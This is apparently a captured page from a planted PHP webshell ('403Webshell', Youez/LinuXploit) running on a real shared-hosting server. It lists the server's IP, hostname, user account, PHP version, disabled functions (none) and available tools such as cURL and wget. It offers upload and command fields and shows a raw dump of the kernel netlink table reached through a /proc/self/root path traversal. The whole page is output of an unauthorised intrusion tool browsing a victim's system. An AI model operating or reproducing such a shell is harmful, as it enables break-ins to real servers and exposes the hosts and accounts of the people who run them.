403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./proc/self/root/proc/thread-self/root/./proc/thread-self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./proc/self/root/proc/thread-self/root/./proc/thread-self/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   0          00000000 0        0        0     2        0        11      
0000000000000000 0   3598580492 00000001 0        0        0     2        0        196130  
0000000000000000 0   11137      00000110 0        0        0     2        0        196128  
0000000000000000 0   1587237    00020ff8 0        0        0     2        0        152890009
0000000000000000 0   3248812857 00000440 0        0        0     2        0        196129  
0000000000000000 4   0          00000000 0        0        0     2        0        12535   
0000000000000000 6   0          00000000 0        0        0     2        0        12536   
0000000000000000 7   0          00000000 0        0        0     2        0        12522   
0000000000000000 9   819        00000000 0        0        0     2        8        15834   
0000000000000000 9   1          00000000 0        0        0     2        0        22204   
0000000000000000 9   0          00000000 0        0        0     2        0        16      
0000000000000000 10  0          00000000 0        0        0     2        0        10601   
0000000000000000 11  0          00000000 0        0        0     2        0        32      
0000000000000000 12  3930691605 00000000 0        0        0     2        0        267430587
0000000000000000 12  4153210693 00000000 0        0        0     2        0        267430590
0000000000000000 12  2392849005 00000000 0        0        0     2        0        267427441
0000000000000000 12  2439749919 00000000 0        0        0     2        0        267427371
0000000000000000 12  2684       00000000 0        0        0     2        0        27968   
0000000000000000 12  2452488478 00000000 0        0        0     2        0        267434594
0000000000000000 12  3018389640 00000000 0        0        0     2        0        267435214
0000000000000000 12  2307161052 00000004 0        0        0     2        0        32546   
0000000000000000 12  2504       00000000 0        0        0     2        0        81617   
0000000000000000 12  3228312234 00000000 0        0        0     2        0        267433182
0000000000000000 12  0          00000000 0        0        0     2        0        19056   
0000000000000000 12  2824988778 00000000 0        0        0     2        0        267431171
0000000000000000 12  2228902765 00000000 0        0        0     2        0        267433192
0000000000000000 12  3651335690 00000000 0        0        0     2        0        267431045
0000000000000000 12  3274281124 00000000 0        0        0     2        0        267433191
0000000000000000 12  4122336718 00000000 0        0        0     2        0        267427385
0000000000000000 12  2231152654 00000000 0        0        0     2        0        267430640
0000000000000000 12  3018479509 00000000 0        0        0     2        0        267435128
0000000000000000 12  2307752566 00000000 0        0        0     2        0        267434471
0000000000000000 12  3633551532 00000000 0        0        0     2        0        267434593
0000000000000000 12  3198588225 00000000 0        0        0     2        0        267427440
0000000000000000 12  3658542374 00000000 0        0        0     2        0        267433186
0000000000000000 12  3065967655 00000000 0        0        0     2        0        267427393
0000000000000000 12  908        00000000 0        0        0     2        0        1927    
0000000000000000 12  2345872771 00000000 0        0        0     2        0        267427354
0000000000000000 12  3202368054 00000000 0        0        0     2        0        267432085
0000000000000000 12  868        00000000 0        0        0     2        0        267433172
0000000000000000 12  2933079654 00000000 0        0        0     2        0        267435257
0000000000000000 12  2810543186 00000000 0        0        0     2        0        267431040
0000000000000000 15  1          00000002 0        0        0     2        0        22197   
0000000000000000 15  905        00000002 0        0        0     2        0        15985   
0000000000000000 15  3214       00000002 0        0        0     2        0        36243   
0000000000000000 15  3936809363 00000002 0        0        0     2        0        15986   
0000000000000000 15  2834582175 00000001 0        0        0     2        0        23802   
0000000000000000 15  0          00000000 0        0        0     2        0        20      
0000000000000000 15  2844402836 00000002 0        0        0     2        0        15988   
0000000000000000 15  3718135864 00000002 0        0        0     2        0        15987   
0000000000000000 16  0          00000000 0        0        0     2        0        40      
0000000000000000 16  901        00000008 0        0        0     2        0        24967   
0000000000000000 18  0          00000000 0        0        0     2        0        35      
0000000000000000 20  0          00000000 0        0        0     2        0        43334   

Youez - 2016 - github.com/yon3zu
LinuXploit